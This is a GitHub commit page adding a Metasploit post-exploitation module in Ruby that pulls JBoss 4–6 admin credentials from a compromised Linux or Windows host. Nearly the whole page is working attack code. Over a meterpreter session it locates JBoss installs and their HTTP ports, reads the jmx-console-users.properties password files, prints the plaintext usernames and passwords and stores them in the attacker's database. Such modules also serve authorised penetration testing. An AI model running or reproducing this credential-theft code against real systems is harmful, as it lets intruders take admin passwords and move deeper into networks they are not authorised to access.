Skip to content

Commit 4be426d

Browse files
author
Koen Riepe
committed
Added jboss_gather module.
1 parent e23e65e commit 4be426d

File tree

1 file changed

+255
-0
lines changed

1 file changed

+255
-0
lines changed
Lines changed: 255 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,255 @@
1+
require 'msf/core'
2+
require 'nokogiri'
3+
4+
class MetasploitModule < Msf::Post
5+
include Msf::Post::File
6+
include Msf::Post::Linux::System
7+
8+
def initialize(info={})
9+
super(update_info(info,
10+
'Name' => 'Jboss Credential Collector',
11+
'Description' => %q{
12+
This module can be used to extract the Jboss admin passwords for version 4,5 and 6.
13+
},
14+
'License' => MSF_LICENSE,
15+
'Author' => [ 'Koen Riepe ([email protected])' ],
16+
'Platform' => [ 'linux', 'win' ],
17+
'SessionTypes' => [ 'meterpreter' ]
18+
))
19+
end
20+
21+
def report_creds(user, pass, port)
22+
return if (user.empty? or pass.empty?)
23+
# Assemble data about the credential objects we will be creating
24+
credential_data = {
25+
origin_type: :session,
26+
post_reference_name: self.fullname,
27+
private_data: pass,
28+
private_type: :password,
29+
session_id: session_db_id,
30+
username: user,
31+
workspace_id: myworkspace_id,
32+
}
33+
34+
credential_core = create_credential(credential_data)
35+
36+
if not port.is_a? Integer
37+
print_status("Port not an Integer, Something probably went wrong")
38+
port = 8080
39+
end
40+
41+
login_data = {
42+
core: credential_core,
43+
status: Metasploit::Model::Login::Status::UNTRIED,
44+
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
45+
port: port,
46+
service_name: 'jboss',
47+
protocol: 'tcp',
48+
workspace_id: myworkspace_id
49+
}
50+
create_credential_login(login_data)
51+
end
52+
53+
def getpw(file, ports)
54+
i = 0
55+
file.each do |pwfile|
56+
lines = read_file(pwfile).split("\n")
57+
for line in lines
58+
if not line.include? "#"
59+
creds = line.split("=")
60+
print_good("Username: " + creds[0] + " Password: " + creds[1])
61+
report_creds(creds[0],creds[1],ports[i])
62+
end
63+
end
64+
i+=1
65+
end
66+
end
67+
68+
def getversion(array)
69+
i = 0
70+
version = "NONE"
71+
results = Array.new
72+
while i < array.count
73+
downcase = array[i].downcase
74+
if downcase.include? "jboss"
75+
file = read_file(array[i])
76+
xml_doc = Nokogiri::XML(file)
77+
xml_doc.xpath("//jar-versions//jar").each do |node|
78+
if node["name"] == "jbossweb.jar"
79+
version = node["specVersion"][0]
80+
results.push(version)
81+
end
82+
end
83+
end
84+
if not version == "NONE"
85+
print_status("Found a Jboss installation version:" + version)
86+
end
87+
i+=1
88+
end
89+
return results
90+
end
91+
92+
def readhome(array)
93+
home = ""
94+
array.each do |item|
95+
if item.include? "JBOSS_HOME"
96+
home = item.split("JBOSS_HOME=")[1]
97+
end
98+
end
99+
return home
100+
end
101+
102+
def getpwfiles(array,home)
103+
pwfiles = Array.new
104+
array.each do |location|
105+
if location.include? home
106+
pwfiles.push(location)
107+
end
108+
end
109+
return pwfiles
110+
end
111+
112+
def getports()
113+
type1 = cmd_exec('locate bindings-jboss-beans.xml').split("\n")
114+
type2 = cmd_exec('locate jboss-web.deployer/server.xml').split("\n")
115+
port = Array.new
116+
117+
type1.each do |file1|
118+
print_status("Bind file found: " + file1)
119+
xml1 = Nokogiri::XML(read_file(file1))
120+
xml1.css("//deployment//bean//constructor//parameter//bean").each do |connector|
121+
if connector.css("property[name='serviceName']").text == "jboss.web:service=WebServer"
122+
port.push(connector.css("property[name='port']").text.to_i)
123+
break
124+
end
125+
end
126+
end
127+
128+
type2.each do |file2|
129+
print_status("Bind file found: " + file2)
130+
xml2 = Nokogiri::XML(read_file(file2))
131+
xml2.xpath("//Server//Connector").each do |connector|
132+
if connector['protocol'].include? "HTTP"
133+
port.push(connector['port'].to_i)
134+
break
135+
end
136+
end
137+
end
138+
return port
139+
end
140+
141+
def gathernix()
142+
print_status("Unix OS detected, attempting to locate Jboss services")
143+
version = getversion(cmd_exec('locate jar-versions.xml').split("\n"))
144+
home = readhome(cmd_exec('printenv').split("\n"))
145+
pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"),home)
146+
listenports = getports()
147+
getpw(pwfiles,listenports)
148+
end
149+
150+
def winhome()
151+
exec = cmd_exec('WMIC PROCESS get Caption,Commandline').split("\n")
152+
exec.each do |line|
153+
if line.downcase.include? "java.exe" and line.downcase.include? "jboss"
154+
print_status("Jboss process found")
155+
home = line.split('-classpath "')[1].split("\\bin\\")[0]
156+
return home
157+
end
158+
end
159+
end
160+
161+
def wingetinstances(home)
162+
instances = Array.new
163+
instance_location = home + "\\server"
164+
exec = cmd_exec('cmd /c dir ' + instance_location).split("\n")
165+
exec.each do |instance|
166+
if instance.split("<DIR>")[1]
167+
if (not instance.split("<DIR>")[1].strip().include? ".") and (not instance.split("<DIR>")[1].strip().include? "..")
168+
instance_path = home + "\\server\\" + (instance.split("<DIR>")[1].strip())
169+
instances.push(instance_path)
170+
end
171+
end
172+
end
173+
return instances
174+
end
175+
176+
def winpwfiles(instances)
177+
files = Array.new
178+
instances.each do |seed|
179+
file_path = seed + "\\conf\\props\\jmx-console-users.properties"
180+
if exist?(file_path)
181+
files.push(file_path)
182+
end
183+
end
184+
return files
185+
end
186+
187+
def wingetport(instances)
188+
port = Array.new
189+
190+
instances.each do |seed|
191+
path1 = seed + "\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml"
192+
path2 = seed + "\\deploy\\jboss-web.deployer\\server.xml"
193+
194+
if exist?(path1)
195+
file1 = read_file(seed + "\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml").split("\n")
196+
end
197+
198+
if exist?(path2)
199+
file2 = read_file(seed + "\\deploy\\jboss-web.deployer\\server.xml")
200+
end
201+
202+
if file1
203+
print_status("Bind file found: " + seed + "\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
204+
parse = false
205+
nextport = false
206+
file1.each do |line|
207+
if line.strip() == '<bean class="org.jboss.services.binding.ServiceBindingMetadata">'
208+
parse = true
209+
elsif line.strip() == '</bean>'
210+
parse = false
211+
elsif parse and line.include? "HttpConnector"
212+
nextport = true
213+
elsif parse and nextport
214+
port.push(line.split('<property name="port">')[1].split('<')[0].to_i)
215+
nextport = false
216+
end
217+
end
218+
end
219+
220+
if file2
221+
print_status("Bind file found: " + seed + "\\deploy\\jboss-web.deployer\\server.xml")
222+
xml2 = Nokogiri::XML(file2)
223+
xml2.xpath("//Server//Connector").each do |connector|
224+
if connector['protocol'].include? "HTTP"
225+
print_status(connector['port'])
226+
port.push(connector['port'].to_i)
227+
break
228+
end
229+
end
230+
end
231+
end
232+
return port
233+
end
234+
235+
def gatherwin()
236+
print_status("Windows OS detected, enumerating services")
237+
home = winhome()
238+
version_file = Array.new
239+
version_file.push(home + "\\jar-versions.xml")
240+
version = getversion(version_file)
241+
instances = wingetinstances(home)
242+
pwfiles = winpwfiles(instances)
243+
listenports = wingetport(instances)
244+
getpw(pwfiles,listenports)
245+
end
246+
247+
def run
248+
if sysinfo['OS'].include? "Windows"
249+
gatherwin()
250+
else
251+
gathernix()
252+
end
253+
end
254+
255+
end

0 commit comments

Comments
 (0)